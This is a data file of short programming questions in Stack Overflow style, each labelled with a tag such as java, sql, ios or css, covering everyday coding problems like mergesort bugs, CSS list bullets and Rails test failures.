detect if uibuttons overlap  i have two uibuttons on my view  and i am trying to detect if the two overlap  in oder to do:    if (overlap) move the second button    i have tried this:   <pre><code>if (bluetoothdevicebutton.x1 &lt; btn.x2 &amp;&amp; bluetoothdevicebutton.x2 &gt; btn.x1 &amp;&amp;     bluetoothdevicebutton.y1 &lt; btn.y2 &amp;&amp; bluetoothdevicebutton.y2 &gt; btn.y1){   } </code></pre>   i can t really get what i should put instead of x1  x2  etc. and i don t really know if this method is going to work at all.,ios
can t place iframe directly beneath h1  i m trying to create a profile for a site i use a lot.  i have most everything figured out  with the exception of the placement of an <code>iframe</code>.<br> i d like it positioned like a double-space distance beneath my <strong>h1</strong>.     here <strong>h1</strong> is positioned as <code>such: style= position:absolute;top;75;</code> <code>align=center</code>    ... i d like the <code>iframe</code> to be positioned right below it.  any suggestions,html
query / algorithm for finding one-to-many within a table  i m trying to create an algorithm to evaluate which columns within a single table may have a one-to-many relationship and possibly be parent/child.      consider the following table:   <pre><code>category | subcategory | product   | description a1       | bbb         | batteries | energizer  a1       | bcb         | plugs     | safety plugs a2       | cde         | tvs       | samsung a2       | cde         | monitors  | dell </code></pre>   in this case  category could be a parent of all columns.  subcategory could be a parent of the other two columns.  and products / descriptions are 1-to-1.    i ve tried comparing two columns with a count distinct by partition  but not able to really figure it out.      any help would be great.,sql
how to convert existing xcode project to static library  i am trying to add mwphotobrowser source code from github to my own project. for adding that i need to add mwphotobrowser.a file in  link binary libraries . any one help to convert the source code of mwphotobrowser to get mwphotobrowser.a file.    thanks in advance....,ios
please help me with this code and if possible explain line by line  <strong>find the errors in the following code. select all that apply  if any.</strong>   <pre><code>#include &lt;iostream&gt; using namespace std;  int * myfun(const int &amp; a) {   int * c = new int(a);   int b = *c;   return &amp;b; }  int main() {   int n = 8;   cout &lt;&lt; *(myfun(n)) &lt;&lt; endl;   return 0; } </code></pre>   (a) type mismatch<br> (b) memory leak<br> (c) invalid return value<br> (d) null pointer dereference<br> (e) violation of const      answer is the 2nd and the 3rd option.    some questions i have are:   <ol> <li> even if the function is supposed to return a pointer why can t you return an address since pointer points to an address  </li> <li> how can you pass in a reference variable n if you haven t declared <code>n</code> as reference variable in the function parameter  </li> </ol>,c++
maximum size of .apk to upload on amazon app store  what can be  maximum size of .apk to upload on amazon app store. actually my .apk file having images more than 50mb .so it s going approx 60 mb size of android app. is it possible to upload 60mb file on amazon app store.    is there any other solution like apk expansion on google play.can we implement apk expanson to upload more than 50 mb apk file on amazon app store..,android
how to compare a variable against two values at the same time   i need to improve this statement by either correcting it or making it shorter   <pre><code>if (0 &lt;= age &lt;= 100) // age is between 0 and 100) </code></pre>   i am totally confused about spending 20 minutes on the question. it seems really simple but the only revision i could think of is   <pre><code>if (0 &lt;= age &amp;&amp; age &lt;= 100) </code></pre>   and that doesn t seem right. am i just missing something obvious  can someone help me please     thanks,java
is resourcemanager in .net a singleton   is resourcemanager in .net a singleton,.net
rails + cucumber + selenium: tests failing together  passing separately  using: rails 3.2.13  cucumber (1.2.3)  selenium-webdriver (2.31.0)  capybara (2.0.3)    i am working on a mobile site and need to use selenium to test the javascript features. however  when i try to run the cucumber tests together  the test immediately following the <code>@javascript</code> tagged tests are failing with this:   <pre><code>      the action  assets  could not be found for sitecontroller (abstractcontroller::actionnotfound)       /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/actionpack-3.2.13/lib/abstract_controller/base.rb:116:in `process        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/actionpack-3.2.13/lib/abstract_controller/rendering.rb:45:in `process        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/actionpack-3.2.13/lib/action_controller/metal.rb:203:in `dispatch        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/actionpack-3.2.13/lib/action_controller/metal/rack_delegation.rb:14:in `dispatch        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/actionpack-3.2.13/lib/action_controller/metal.rb:246:in `block in action        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/actionpack-3.2.13/lib/action_dispatch/routing/route_set.rb:73:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/actionpack-3.2.13/lib/action_dispatch/routing/route_set.rb:73:in `dispatch        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/actionpack-3.2.13/lib/action_dispatch/routing/route_set.rb:36:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/journey-1.0.4/lib/journey/router.rb:68:in `block in call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/journey-1.0.4/lib/journey/router.rb:56:in `each        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/journey-1.0.4/lib/journey/router.rb:56:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/actionpack-3.2.13/lib/action_dispatch/routing/route_set.rb:612:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/warden-1.2.1/lib/warden/manager.rb:35:in `block in call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/warden-1.2.1/lib/warden/manager.rb:34:in `catch        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/warden-1.2.1/lib/warden/manager.rb:34:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/actionpack-3.2.13/lib/action_dispatch/middleware/best_standards_support.rb:17:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/rack-1.4.5/lib/rack/etag.rb:23:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/rack-1.4.5/lib/rack/conditionalget.rb:25:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/actionpack-3.2.13/lib/action_dispatch/middleware/head.rb:14:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/actionpack-3.2.13/lib/action_dispatch/middleware/params_parser.rb:21:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/actionpack-3.2.13/lib/action_dispatch/middleware/flash.rb:242:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/rack-1.4.5/lib/rack/session/abstract/id.rb:210:in `context        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/rack-1.4.5/lib/rack/session/abstract/id.rb:205:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/actionpack-3.2.13/lib/action_dispatch/middleware/cookies.rb:341:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/activerecord-3.2.13/lib/active_record/query_cache.rb:64:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/activerecord-3.2.13/lib/active_record/connection_adapters/abstract/connection_pool.rb:479:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/actionpack-3.2.13/lib/action_dispatch/middleware/callbacks.rb:28:in `block in call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/activesupport-3.2.13/lib/active_support/callbacks.rb:405:in `_run__1123647381172448721__call__979271738568178806__callbacks        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/activesupport-3.2.13/lib/active_support/callbacks.rb:405:in `__run_callback        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/activesupport-3.2.13/lib/active_support/callbacks.rb:385:in `_run_call_callbacks        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/activesupport-3.2.13/lib/active_support/callbacks.rb:81:in `run_callbacks        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/actionpack-3.2.13/lib/action_dispatch/middleware/callbacks.rb:27:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/actionpack-3.2.13/lib/action_dispatch/middleware/remote_ip.rb:31:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/actionpack-3.2.13/lib/action_dispatch/middleware/debug_exceptions.rb:16:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/actionpack-3.2.13/lib/action_dispatch/middleware/show_exceptions.rb:56:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/cucumber-rails-1.3.1/lib/cucumber/rails/action_controller.rb:10:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/railties-3.2.13/lib/rails/rack/logger.rb:32:in `call_app        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/railties-3.2.13/lib/rails/rack/logger.rb:16:in `block in call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/activesupport-3.2.13/lib/active_support/tagged_logging.rb:22:in `tagged        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/railties-3.2.13/lib/rails/rack/logger.rb:16:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/actionpack-3.2.13/lib/action_dispatch/middleware/request_id.rb:22:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/rack-1.4.5/lib/rack/methodoverride.rb:21:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/rack-1.4.5/lib/rack/runtime.rb:17:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/activesupport-3.2.13/lib/active_support/cache/strategy/local_cache.rb:72:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/rack-1.4.5/lib/rack/lock.rb:15:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/actionpack-3.2.13/lib/action_dispatch/middleware/static.rb:63:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/railties-3.2.13/lib/rails/engine.rb:479:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/railties-3.2.13/lib/rails/application.rb:223:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/rack-1.4.5/lib/rack/builder.rb:134:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/rack-1.4.5/lib/rack/urlmap.rb:64:in `block in call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/rack-1.4.5/lib/rack/urlmap.rb:49:in `each        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/rack-1.4.5/lib/rack/urlmap.rb:49:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/capybara-2.0.3/lib/capybara/server.rb:19:in `call        /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/rack-1.4.5/lib/rack/handler/webrick.rb:59:in `service        /users/emai/.rvm/rubies/ruby-1.9.3-p362/lib/ruby/1.9.1/webrick/httpserver.rb:138:in `service        /users/emai/.rvm/rubies/ruby-1.9.3-p362/lib/ruby/1.9.1/webrick/httpserver.rb:94:in `run        /users/emai/.rvm/rubies/ruby-1.9.3-p362/lib/ruby/1.9.1/webrick/server.rb:191:in `block in start_thread  </code></pre>   i m guessing something is triggering <code>assets</code> in my wildcard route <code>match  :action(/:id)  =&gt;  site </code>. however  when i do a command + shift + f in textmate (to look for keywords within the whole project) i can only find one reference to assets in the view and commenting it out doesn t do anything.    i also tried changing cucumber to use truncation instead of transaction in my env file:    from: <code>cucumber::rails::database.javascript_strategy = :transaction</code>  to: <code>cucumber::rails::database.javascript_strategy = :truncation</code>    but nothing has worked. is this a bug  or is there something wrong with my test/views  is there another alternative to selenium that i could try to test with javascript     update: trying to install capybara-webkit  but running into error.   <pre><code>    nets-mac-pro:sl-mobile emai$ bundle install     ...     ...      gem::installer::extensionbuilderror: error: failed to build gem native extension.              /users/emai/.rvm/rubies/ruby-1.9.3-p362/bin/ruby extconf.rb      command  qmake -spec macx-g++  not available       gem files will remain installed in /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/capybara-webkit-0.14.2 for inspection.     results logged to /users/emai/.rvm/gems/ruby-1.9.3-p362@sherry3/gems/capybara-webkit-0.14.2/./gem_make.out </code></pre>,ruby-on-rails
function that s calculating a log - unused variable error  i m writing a function that tries to get the square of a root. i guess it s easier with an example:    i want to give a number to that function  say 1024 and the function should tell me 12. so always looking for the x here: 1024 = 2^x.  if i gave 255 to the function it should return 7.     now i guess my maths is pretty okay  but i get an error saying i didn t use a variable in line 6. could you have a look    <pre><code>int log_base2(int num) {   int x = 2;   int count = 0;   for(; x &lt;= num; x * 2 )   {     count++;   }    return count;  } </code></pre>   error is in line 6 ( for(....)),c
basic java math test - read variables as floats and calculate equation  i m making a basic 10 question math test. been at this for a while now and can t seem to find a solution to my problem. i have 2 variables to create random numbers...   <pre><code>float firstnumber = (int)(math.random()*10);  float secondnumber = (int)(math.random()*10); </code></pre>   and a variable to create a random operator (+  -  *  /)   <pre><code>float intoperatorsymbol = (int)(math.random()*3);  string operatorsymbol = null;   if (intoperatorsymbol == 0)     operatorsymbol =  + ;  if (intoperatorsymbol == 1)      operatorsymbol =  - ;  if (intoperatorsymbol == 2)     operatorsymbol =  * ;  if (intoperatorsymbol == 3)     operatorsymbol =  / ; </code></pre>   my problem is below  where i m trying to get java to read the number variables and operator variables as an equation and store the correct answer in a variable.   <pre><code>string correctanswer = (firstnumber + operatorsymbol + secondnumber); </code></pre>   any help would be greatly appreciated. i m new to java (clearly.) full code posted below.   <pre><code>import java.util.scanner; public class countertest { public static void main(string[] args) {   // begin main loop       for (int counter = 1; counter &lt; 13; counter ++) {      if (counter &lt; 11) {          system.out.println( question #  + counter);              float firstnumber = (int)(math.random()*10);              float secondnumber = (int)(math.random()*10);              float intoperatorsymbol = (int)(math.random()*3);   // operator string               string operatorsymbol = null;                   if (intoperatorsymbol == 0)                     operatorsymbol =  + ;                  if (intoperatorsymbol == 1)                      operatorsymbol =  - ;                  if (intoperatorsymbol == 2)                     operatorsymbol =  * ;                  if (intoperatorsymbol == 3)                     operatorsymbol =  / ;  //main arguments           system.out.println(firstnumber +     + operatorsymbol +     + secondnumber);          scanner userinputscanner = new scanner(system.in);          string useranswer = userinputscanner.next();          string correctanswer = (firstnumber + operatorsymbol + secondnumber);          system.out.println( right/wrong var here );        } else if (counter &gt; 11) {    // last printed line           system.out.println( your total score is var here );          system.out.println(correctanswer);          }     } } } </code></pre>,java
calculation for a variation of hours  i am a beginner to programming and i am learning to program in c++  i am having some trouble trying to work out what would be the best way to attack this solution for a console game i am making  so basically i have 3 games that go for 5 hours each  and any game after that will go for 4 hours  once i get the amount of the games the user wants to play  basically i want to work out the total amount of hours the games will take to play.    how do i go about calculating the first 3 games multiply 5 hours and anything after that by 4 hours if there are more than 3 games being played     any help would be appreciated thanks.,c++
strange background for labels in uitableviewcell  i am making an app which shows sport results and color codes them accordingly by setting their cell s background color:   <pre><code>- (uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {     uitableviewcell *cell = [tableview dequeuereusablecellwithidentifier:@ cell ];     if (cell == nil)         cell = [[uitableviewcell alloc] initwithstyle:uitableviewcellstylevalue1 reuseidentifier:@ cell ];     if (_tabbar.selecteditem == _homegamesitem) {         cell.backgroundcolor = [uicolor whitecolor];         cell.detailtextlabel.text = @  ;         cell.textlabel.text = [nsstring stringwithformat:@ home game %d   indexpath.row];     } else if (_tabbar.selecteditem == _myeventsitem) {         cell.backgroundcolor = [uicolor whitecolor];         cell.detailtextlabel.text = @  ;         cell.textlabel.text = [nsstring stringwithformat:@ my result %d   indexpath.row];     } else if (_tabbar.selecteditem == _resultsitem) {         sportevent *event = [self.appdelegate.user.resultsportevents objectatindex:indexpath.row];         if ([event.gender isequaltostring:@  ]) {             cell.textlabel.text = [nsstring stringwithformat:@ %@ %@   event.level  event.activity];             cell.detailtextlabel.text = event.result;         } else {             cell.textlabel.text = [nsstring stringwithformat:@ %@ %@ %@   event.gender  event.level  event.activity];             cell.detailtextlabel.text = event.result;         }         if ([[event.result substringtoindex:1] isequaltostring:@ w ])             cell.backgroundcolor = [uicolor colorwithred:0 green:1 blue:0 alpha:.05];         else if ([[event.result substringtoindex:1] isequaltostring:@ t ])             cell.backgroundcolor = [uicolor colorwithred:1 green:1 blue:0 alpha:.05];         else if ([[event.result substringtoindex:1] isequaltostring:@ l ])             cell.backgroundcolor = [uicolor colorwithred:1 green:0 blue:0 alpha:.05];     }      if (_grayedout) {         cell.textlabel.textcolor = [uicolor graycolor];         cell.detailtextlabel.textcolor = [uicolor graycolor];     } else {         cell.textlabel.textcolor = [uicolor blackcolor];         cell.detailtextlabel.textcolor = [uicolor blackcolor];     }      return cell; } </code></pre>   the strange thing is that this causes some cells to have strange backgrounds right around the labels (my apologies for the massive image):    <img src= https://i.stack.imgur.com/a1hge.png  alt= enter image description here >    why do only some cells get this strange darkening around the labels,ios
query giving wrong answer  i am using mysql i want first letter of firstname capital and remaining characters in lower case the query i am using is    <pre><code>select  upper(left(firstname 1))+lower(substring(firstname 2 length(firstname))) firstname from colliers; </code></pre>   this gives answer 0  but it works perfectly in sql server ..,mysql
custom uitableviewcell with round rect  i have created custom tableviewcell.my table is of grouped style.my custom tableviewcell is having background color.problem is cells will come round rect but there is still some white color view backside of my cell.so how to create custom cell with round rect so that ican set background color and add multiline text.   i tried creating background view of round rect.it worked.but i have to create one more view to add multiline text.is there way to create cell with background color multiline text and round rect s.,iphone
how to save a pie graph in pdf file in iphone app  i have iphone app which created pie chart i want that chart should be save in pdf file in iphone.    below is the code for piechart but how can i save it in pdf i have read that we can save text in pdf but how to save this    <pre><code>   -(void)creategraph{    pieclass *mypieclass=[[pieclass alloc]initwithframe:cgrectmake(400 40  320  230)];     mypieclass.itemarray=[[nsarray alloc]initwithobjects:textfieldone.text textfieldtwo.text textfieldthree.text  nil];   mypieclass.mycolorarray=[[nsarray alloc]initwithobjects:[uicolor purplecolor] [uicolor redcolor] [uicolor orangecolor]  nil];   mypieclass.radius=100;  [self.view addsubview:mypieclass];    [self creatpdffromview:@ mydata.pdf ];   }      -(void)createpdffromuiview:(uiview*)aview savetodocumentswithfilename:(nsstring*)afilename        { </code></pre>   // creates a mutable data object for updating with binary data  like a byte array   <pre><code>  nsmutabledata *pdfdata = [nsmutabledata data]; </code></pre>   // points the pdf converter to the mutable data object and to the uiview to be converted   <pre><code> uigraphicsbeginpdfcontexttodata(pdfdata  aview.bounds  nil);  uigraphicsbeginpdfpage();  cgcontextref pdfcontext = uigraphicsgetcurrentcontext(); </code></pre>   // draws rect to the view and thus this is captured by uigraphicsbeginpdfcontexttodata   <pre><code>   [aview.layer renderincontext:pdfcontext]; </code></pre>   // remove pdf rendering context   <pre><code>    uigraphicsendpdfcontext(); </code></pre>   // retrieves the document directories from the ios device   <pre><code>   nsarray* documentdirectories =   nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask yes);    nsstring* documentdirectory = [documentdirectories objectatindex:0];   nsstring* documentdirectoryfilename = [documentdirectory stringbyappendingpathcomponent:afilename]; </code></pre>   // instructs the mutable data object to write its context to a file on disk   <pre><code> [pdfdata writetofile:documentdirectoryfilename atomically:yes];  nslog(@ documentdirectoryfilename: %@  documentdirectoryfilename);  } </code></pre>,iphone
css: ul bullets are hidden  i have a basic css question.    i have a list  but i can t get the bullets to show ..    here is a <a href= http://see.weareinto.com/btjq  rel= nofollow >screenshot</a>    the only way i can get them to show is by making the position set to <code>inside</code>  but i want it set to <code>outside</code> as it is.. no matter how much padding or nmargin i add to the left  i can t seem to get the bullets to show.    here is the css applied.. i have applied it to everything.. the ul  the li  etc   <pre><code>list-style-image: none; list-style-position: outside; list-style-type: square; </code></pre>   here is the html   <pre><code>&lt;ul class= static  style= display: block;  &gt;     &lt;li class= static &gt;         &lt;a class= static menu-item  href= /producers/products-services/pages/group-medical-plans.aspx &gt;&lt;span class= additional-background &gt;&lt;span class= menu-item-text &gt;group medical plans&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;     &lt;/li&gt;     &lt;li class= static &gt;         &lt;a class= static menu-item  href= /producers/products-services/pages/self-funding-administration.aspx &gt;&lt;span class= additional-background &gt;&lt;span class= menu-item-text &gt;self-funding administration&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;     &lt;/li&gt;     &lt;li class= static &gt;         &lt;a class= static menu-item  href= /producers/products-services/pages/workers-comp.aspx &gt;&lt;span class= additional-background &gt;&lt;span class= menu-item-text &gt;workers comp&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;     &lt;/li&gt;     &lt;li class= static &gt;         &lt;a class= static menu-item  href= /producers/products-services/pages/cobra-administrative-services.aspx &gt;&lt;span class= additional-background &gt;&lt;span class= menu-item-text &gt;cobra administrative services&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;     &lt;/li&gt;     &lt;li class= static &gt;         &lt;a class= static menu-item  href= /producers/products-services/pages/medicare-plans.aspx &gt;&lt;span class= additional-background &gt;&lt;span class= menu-item-text &gt;medicare plans&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;     &lt;/li&gt;     &lt;li class= static &gt;         &lt;a class= static menu-item  href= /producers/products-services/pages/individual-family-plans.aspx &gt;&lt;span class= additional-background &gt;&lt;span class= menu-item-text &gt;individual-family plans&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;     &lt;/li&gt;     &lt;li class= static &gt;         &lt;a class= static menu-item  href= /producers/products-services/pages/selling-area-maps.aspx &gt;&lt;span class= additional-background &gt;&lt;span class= menu-item-text &gt;selling area maps&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;     &lt;/li&gt;     &lt;li class= static &gt;         &lt;a class= static menu-item  href= /producers/products-services/pages/provider-networks.aspx &gt;&lt;span class= additional-background &gt;&lt;span class= menu-item-text &gt;provider networks&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;     &lt;/li&gt; &lt;/ul&gt; </code></pre>   edit    okay  it still isnt working  here is my less   <pre><code>ul {     background-color: @color-grey-border;     width: 100%;     padding-left: 30px !important;     list-style-type: square !important;     list-style-image: none !important;     list-style-position: outside !important;     overflow-x: visible !important;     margin-left: 30px !important;      li {         padding-left: 30px !important;         list-style-type: square !important;         list-style-image: none !important;         list-style-position: outside !important;         overflow-x: visible !important;         margin-left: 30px !important;          .menu-item {             border-bottom-color: #fff !important;             padding: @base * .5 0 !important;             width: 100% !important;         }     } } </code></pre>   edit -    here are 4 more screenshots    <a href= http://see.weareinto.com/btjh  rel= nofollow >http://see.weareinto.com/btjh</a> - <a href= http://see.weareinto.com/btrh  rel= nofollow >http://see.weareinto.com/btrh</a>    <a href= http://see.weareinto.com/bsvd  rel= nofollow >http://see.weareinto.com/bsvd</a> - <a href= http://see.weareinto.com/bsjs  rel= nofollow >http://see.weareinto.com/bsjs</a>,css
remove jquery autocomplete hi lighting  below is link for basic jquery autocomplete  <a href= https://jqueryui.com/autocomplete/  rel= nofollow >https://jqueryui.com/autocomplete/</a>    below is the code which i have added to make the searched character to become bold in suggestion list.   <pre><code>$.ui.autocomplete.prototype._renderitem = function (ul  item) {      item.label = item.label.replace(new regexp( ( ![^&amp;;]+;)( !&lt;[^&lt;&gt;]*)(  + $.ui.autocomplete.escaperegex(this.term) +  )( ![^&lt;&gt;]*&gt;)( ![^&amp;;]+;)    gi )   &lt;strong&gt;$1&lt;/strong&gt; );      return $( &lt;li&gt;&lt;/li&gt; )                 .data( item.autocomplete   item)                 .append( &lt;a&gt;  + item.label +  &lt;/a&gt; )                 .appendto(ul);     }; </code></pre>   but on hover the hovered text is hi lighted in blue. but i  want to remove that hi light. kindly suggest.    thanks,jquery
why is this code for implementing mergesort not producing correct result   here in i m trying to implement mergesort on array of 10 elements. on providing the input a[10]={9 8 7 6 5 4 3 2 1 0}   i obtain the output as {0 0 1 1 0  4 4 4 3 2} while the expected output is {0 1 2 3 4 5 6 7 8 9}. i am calling the mergesort in main with l=0 h=9.    <pre><code>void mergesort(int a[] int l int h)     {          int c[10];       int m=(l+h)/2;       if(l&lt;h)       {              mergesort(a l m);           // recursive call to sort first half             mergesort(a m+1 h);         // recursive call to sort second half         }         int i k=l j=l;         while(k&lt;=h)                        // merging the first and second half of the array         {                if(a[j]&lt;a[m+1])             {                 c[k]=a[j];                 k++;                 j++;             }             else             {                 c[k]=a[m+1];                 k++;                 m++;             }                }         for(i=l;i&lt;=h;i++)             a[i]=c[i];       } </code></pre>,c
how to insert null values in database through text boxes in c#.net  how to fill null value into database through text boxes when i don t want to insert the value into that text boxes. if i insert with out fill the text boxes it shows the following error incorrect syntax near      i am using sql server2008r2,.net
mysql: would inner join be the most efficient in this statement   the following mysql statement takes a very long time to execute  i think because i m using <strong>gameid in</strong>.    i think the most efficient way would be to use a <strong>inner join</strong>  but i m new to mysql and i can t come up with the <strong>inner join</strong> statement. can you please help me out  if there is a more efficient way than <strong>inner join</strong>  i would like to use that  i m just not sure if there is.    statement that needs to be more efficient:   <pre><code>select championid from match_up where gameid in (     select gameid     from match_up      group by gameid     having sum(championid in (19  23  40) and win = 1) = 3     and sum(championid in (7  18) and win = 0) = 2 ) </code></pre>   thank you in advance for the help and knowledge!,mysql
how to run a java program with multiple classes and packages from command line   at the moment i am looking for another way to run my java program from command line  other than  adding it to a jar file. my program has the following number of classes:    the name of the program file - myprogram<br> main class - server1<br> second class - client handler<br> package name - items<br> 3rd class - user1<br> 4th class - user2<br>    the main class and client handler alongside the package will have to run first in order for user 1  &amp; user 2 to run  because they are client classes and are dependent on the main class.,java
java using else if to assign a value  i m very new to programming and java. i m trying to use else if to assign a value to a variable if they selected the correct input. but whenever i try to compile it  it says it cannot find the variable.   <pre><code>import java.util.scanner;  public class tdee {     public static void main(string[] args)     {      scanner in = new scanner(system.in);      double tdee = 0.0;      system.out.print( please enter your name:  );     string name = in.next();      system.out.print( please enter your bmr:  );     double bmr = in.nextdouble();      system.out.print( please enter your gender (m/f):  );     string gender = in.next();     system.out.println();      // providing menu items     system.out.println( select your activity level:  );     system.out.println( [0] resting (sleeping. reclining) );     system.out.println( [1] sedentary (minimal movement) );     system.out.println( [2] light (sitting  standing) );     system.out.println( [3] moderate (light manual labor  dancing  riding bike) );     system.out.println( [4] very active (team sports  hard manual labor) );     system.out.println( [5] extremely active (full-time athlete  heavy manual labor) );     system.out.println();      // accept user choice with a scanner class method     system.out.print( enter the number corresponding to your activty level(0 1 2 3 4  or 5):  );     string choice = in.next();     system.out.println();      if(choice.equalsignorecase( 0 ))     {         double activityfactor = 1.0;     }      else if(choice.equalsignorecase( 1 ))     {         double activityfactor = 1.3;     }      else if(choice.equalsignorecase( 2 ) &amp;&amp;  m .equals(gender))     {         double activityfactor = 1.6;     }      else if(choice.equalsignorecase( 2 ) &amp;&amp;  f .equals(gender))     {         double activityfactor = 1.5;     }      else if(choice.equalsignorecase( 3 ) &amp;&amp;  m .equals(gender))     {         double activityfactor = 1.7;     }      else if(choice.equalsignorecase( 3 ) &amp;&amp;  f .equals(gender))     {         double activityfactor = 1.6;     }      else if(choice.equalsignorecase( 4 ) &amp;&amp;  m .equals(gender))     {         double activityfactor = 2.1;     }      else if(choice.equalsignorecase( 4 ) &amp;&amp;  f .equals(gender))     {         double activityfactor = 1.9;     }      else if(choice.equalsignorecase( 5 ) &amp;&amp;  m .equals(gender))     {         double activityfactor = 2.4;     }      else if(choice.equalsignorecase( 5 ) &amp;&amp;  f .equals(gender))     {         double activityfactor = 2.2;     }      else     {         system.out.println( you did not choose a valid manu option. );     }      tdee = bmr * activityfactor;      system.out.println();     system.out.println( name:   + name +        gender:   + gender);     system.out.println( bmr:   + bmr +         activity factor:   + activityfactor);     system.out.println( tdee:   + tdee);     } } </code></pre>,java
c# opening each textfile and reading all text issue <pre><code>{         directoryinfo dinfo = new directoryinfo(@ c:\documents and settings\g\desktop\123 );         fileinfo[] files = dinfo.getfiles( *.txt );         foreach (fileinfo filex in files)         {             string contents = file.readalltext(filex);             string sharename = regex.match(contents  @ \share+(\s*)(.)(.*)(.) ).groups[2].value;         }     } </code></pre>   i just want to be able to open each textfile in this directory  read it all  and then pull the regex i have listed   with this code can someone point out where my brain fart is     the best overloaded method match for  system.io.file.fileinfo  to  string  has some invalid arguments argument  1  cannot convert frm system.io.fileinfo to string,c#
drop down list keep previous selected value in php  i have created a profile page in php where a user using an html drop down list chooses gender.     the html code is the following:   <pre><code>gender&lt;select name= gender &gt;      &lt;option value=   &gt; empty &lt;/option&gt;      &lt;option value= male &gt;male&lt;/option&gt;      &lt;option value= female &gt;female&lt;/option&gt;  &lt;/select&gt;  </code></pre>   after the user chooses gender the form dispatches and saves the data into database. all i want is that the next time that the user visits the profile page  the drop down list to keep the value that the user selected before. for example if user selected in drop down list  male   next time he visited profile page to make changes  the drop down list must show  male  as selected value(keeping it from previous time). any idea how to do this in php,php
having compilation error with #import  i m having some error on the following relationship    i have 2 classes  class a and class b inside class a header  it will #import  b.h  inside class b header  it will #import  a.h     i m having error during compilation. anyone know how can i resolve this     error looks something like this: expected specifier-qualifier-list before  gameuilayer,objective-c
selecting maximum value for a column with contraint  table is as follows    <pre> company  vertical  counts  </pre>   for each company i want to get the sum of counts based on a specific vertical having the highest count   <pre> company       vertical             counts  ibm           finance              10 ibm           r&d                   5 ibm           pr                    2 </pre>   i would like to get the following output    <pre> ibm       finance   17 </pre>,sql
xxxx before a @model in asp.net  i currently have the following in my code   <pre><code>&lt;span&gt;xxxx @model.primary.cardnumber4&lt;/span&gt; </code></pre>   this outputs: `xxxx 1234     i want to remove the space between <code>xxxx</code> and the card number. i tried the following:   <pre><code>&lt;span&gt;xxxx@model.primary.cardnumber4&lt;/span&gt; </code></pre>   this outputs: <code>xxxx@model.primary.cardnumber4</code>    how do i correctly remove the space,asp.net
